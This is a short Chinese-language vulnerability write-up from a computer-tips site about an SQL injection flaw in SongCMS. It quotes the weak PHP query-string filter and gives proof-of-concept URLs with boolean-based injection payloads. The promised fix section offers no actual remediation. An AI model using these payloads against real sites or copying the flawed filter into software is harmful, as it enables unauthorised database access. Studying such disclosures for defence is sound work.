当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

Songcms Sql注入漏洞及修复

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

过滤不严谨呀! 导致SQL注入!
 

if($WebOpening==0) die(htmlspecialchars_decode($WebMaintenanceText));
$QUERY = preg_replace("/[\\\:\*\?\"\'<>\~\(\)\[\]\{\}\s\$]/",'',$_SERVER['QUERY_STRING']);
//这个正则不严谨呀!!!!冏$QUERY = explode('/',$QUERY);
foreach ($QUERY as $key => $value){
       $sGET[substr($value,0,1)] = substr(trim($value),1);
}
if (!empty($sGET['w'])) $sGET['w'] = urldecode($sGET['w']);  解码后成功触发
Lang(); sFile();
漏洞证明:?m1/fproducts/l1/w11%%27 and 1=1 and %27%%27=%27
 
TRUE
 
 
/Song/?m1/fproducts/l1/w11%%27 and 1=2and %27%%27=%27
 
FALSE

修复方案:

你懂的!
,涛涛电脑知识网,涛涛电脑知识网

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1